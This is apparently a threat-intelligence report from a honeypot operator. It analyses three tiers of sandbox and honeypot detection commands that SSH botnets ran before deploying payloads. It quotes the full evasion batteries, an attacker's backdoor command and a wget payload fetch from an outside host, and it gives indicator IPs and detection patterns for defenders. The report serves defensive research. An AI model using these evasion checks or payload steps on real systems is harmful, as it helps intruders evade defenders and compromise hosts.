Sandbox evasion used to be a malware-analysis problem. It is now a honeypot problem too: attackers increasingly probe whether the shell they just opened is real before they spend a payload on it. Over the last two weeks our sensors recorded three distinct, escalating versions of that probe. The most sophisticated one isn’t in any public report we can find — and all three were answered the way a real machine answers, so the operators kept going.

Observation window: 2026-05-31 → 2026-06-11

Signal: three distinct honeypot/sandbox-detection routines from SSH botnets, captured pre-payload

Core finding: an entropy + PID-reality + block-I/O detection battery with no public prior art

Defensive value: detection logic for each tier + the design lesson that low-interaction honeypots fail these checks


Why attackers check

A low-interaction honeypot (Cowrie, Kippo, Dionaea and friends) emulates a shell. It is cheap, safe, and everywhere — which is exactly why automated operators have started to assume they might be in one. If a botnet drops its loader into an emulated shell, it wastes the payload, exposes its infrastructure, and feeds a defender’s intelligence. So the better operators now run a pre-flight: a short battery of commands whose answers differ between a real Linux host and an emulator or a sandbox. Pass, and the payload drops. Fail, and the session leaves quietly.

We observed three tiers of that pre-flight. They escalate in sophistication, and the third is the one worth your attention.


Tier 1 — Commodity core-counting (well documented)

The baseline, used by the bulk of the Diicot/Mexals-style mining traffic we see, is resource counting:

nproc
cat /proc/cpuinfo | grep name | wc -l

The logic is crude but effective at scale: sandboxes and analysis VMs are typically provisioned with one or two cores, so a low core count is treated as “not worth it / possibly instrumented.” Public reporting on Diicot/Mexals (Akamai, Wiz, Cado/Darktrace) describes exactly this — the second-stage script gates on core count to decide which payload to drop. This tier is well understood; we mention it only as the floor of the arms race.


Tier 2 — A seven-step environment-integrity routine

On 2026-05-31, a node (109.206.236.18, hosted at CGI Global, FI) opened a shell and, before any mining recon, ran a tighter, purpose-built integrity check:

cd /tmp 2>/dev/null && readlink /proc/self/cwd 2>&1                 # is /proc/self/cwd real?
sleep 0.1 && echo done                                             # does timing behave?
uname -m
cat /etc/machine-id 2>/dev/null || cat /var/lib/dbus/machine-id || echo 'NONE'   # default/blank machine-id = sandbox tell
ps aux | grep -E 'cowrie|kippo|honeypot|dionaea' | grep -v grep || echo 'OK'     # honeypot process names
uid=$(id -u); if [ $uid -ne 0 ]; then echo test >> /etc/passwd && echo "HONEYPOT" || echo "OK"; fi   # can a non-root user write /etc/passwd?
ls -la /home | grep -i cowrie && echo "COWRIE" || ls -la / | grep -i kippo && echo "KIPPO" || echo "OK"

Each line is a discriminator:

  • readlink /proc/self/cwd — a real /proc returns the working directory symlink; many emulators don’t implement it.
  • /etc/machine-id — cloned sandbox images frequently ship a blank or identical machine-id.
  • process and filesystem name grep for cowrie/kippo/dionaea — the classic low-interaction honeypots, caught by their own process names and install paths.
  • the /etc/passwd write test is the clever one: a poorly built honeypot that fakes a writable filesystem will accept echo test >> /etc/passwd and flip the result to HONEYPOT. A real Linux host denies the non-root write and returns OK.

This node returned several times over the following hours and ran the full Diicot GPU-recon and competitor-wipe toolkit — which means it read OK on every check and treated the host as real.


Tier 3 — A deep /proc, entropy and PID-reality battery (no public prior art)

On 2026-06-11, a node (186.96.145.241, on a Mexican residential telco) ran the most thorough pre-flight we have captured. After adaptive GPU recon, it executed — in a tight 17-second scripted burst — a battery that goes well past anything in Tier 1 or 2:

env | grep -i cowrie ; ls /var/log/cowrie ; ls /home/cowrie ; ls /opt/cowrie   # Cowrie install paths
echo $$ ; test -d /proc/$$ && echo PROCok || echo PROCno                        # does my own PID exist in /proc?
cat /proc/self/status | head -5
cat /proc/uptime
dd if=/dev/urandom bs=1M count=5 of=/dev/null                                   # does real block I/O behave?
cat /proc/sys/kernel/random/entropy_avail                                       # is there a real kernel entropy pool?
cat /proc/sys/net/ipv4/tcp_rmem
cat /proc/sys/kernel/osrelease
test -f /bin/ls && echo yes || echo no

This is a different philosophy from Tiers 1 and 2. It is not looking for honeypot names — it is testing whether the kernel underneath the shell behaves like a real kernel:

  • test -d /proc/$$ — the shell asks whether its own process exists in /proc. An emulated shell that doesn’t model /proc per-PID fails here instantly.
  • entropy_avail and dd if=/dev/urandom — a real kernel maintains an entropy pool and real block I/O; an emulator returning canned output gets these wrong.
  • tcp_rmem, osrelease, /proc/self/status, /proc/uptime — a battery of kernel tunables and process metadata that an emulator has to fake consistently to pass.

Having read the answers it wanted, the operator went straight to a backdoor (echo deploy:<pwd> | sudo chpasswd) and a payload fetch (wget <payload-host>/fakewhiteblack.sh). It did not bail. It proceeded.

Prior art & novelty

We checked this against public reporting from Akamai, Wiz, Cado/Darktrace, Elastic, SANS ISC and general web/GitHub. The published Diicot/Mexals sandbox-detection technique is CPU-core / process counting — Tier 1. We could not find any public report describing this combined entropy_avail + dd-block-I/O + tcp_rmem + test -d /proc/$$ PID-reality battery as a single attacker pre-flight routine, nor any reference to the payload name fakewhiteblack.sh (as of 2026-06-12). We therefore describe this routine as behaviorally consistent with Diicot/Mexals — the surrounding GPU recon and the payload infrastructure match the family — while being explicit that the deep battery itself is, to our knowledge, undocumented. We do not attribute it outright; the known Diicot tradecraft is core-counting, and this is a meaningful step beyond it.


The part that matters for defenders

In all three tiers, the operator ran the check and then proceeded to the payload. That is not a footnote — it is the whole point.

These checks are designed to catch low-interaction honeypots: emulators that fake a shell, fake a filesystem, fake /proc. A high-interaction sensor — a real operating system, with a real kernel, a real /proc, a real entropy pool, a filesystem that denies a non-root write to /etc/passwd — answers every one of these questions the way a production server does, because it is one. The attacker’s own escalating sophistication becomes a validation signal: the more thoroughly they test, the more clearly their decision to proceed tells you the deception held.

The defensive takeaways:

  • If you run honeypots for intelligence, low-interaction is now a liability against these operators. Cowrie-class emulators are detectable by name (Tier 2) and by kernel behavior (Tier 3). The traffic you most want to study — the operators sophisticated enough to pre-flight — is exactly the traffic that will detect an emulator and leave.
  • Detection logic (any of these in a post-auth shell is high-signal, and combinations are near-certain automated pre-flight):
    • ps ... grep -E 'cowrie|kippo|honeypot|dionaea', or ls/grep for those names under /, /home, /opt, /var/log.
    • a non-root echo ... >> /etc/passwd write attempt (the test itself is the tell).
    • reads of entropy_avail, dd if=/dev/urandom ... of=/dev/null, test -d /proc/$$, /proc/sys/... tunables in an SSH session.
    • readlink /proc/self/cwd / cat /etc/machine-id immediately after login.

Indicators

IndicatorTypeNote
186.96.145.241source IPTier-3 deep battery, MX residential telco. Behaviorally consistent with Diicot/Mexals.
45.153.34.212payload hostserves fakewhiteblack.sh; same /24 as Diicot GPU-recon nodes
fakewhiteblack.shfilenameunattested in public reporting as of 2026-06-12
109.206.236.18source IPTier-2 seven-step integrity routine, CGI Global FI; returned to run Diicot toolkit

Behavioral markers: test -d /proc/$$, entropy_avail read, dd if=/dev/urandom ... of=/dev/null, echo test >> /etc/passwd write-test, ps ... grep cowrie|kippo|honeypot|dionaea, readlink /proc/self/cwd.


OHIIHO operates a distributed fleet of high-interaction sensors. Observation windows describe what our sensors recorded, not the limits of any operator’s activity. Findings are published for defensive value.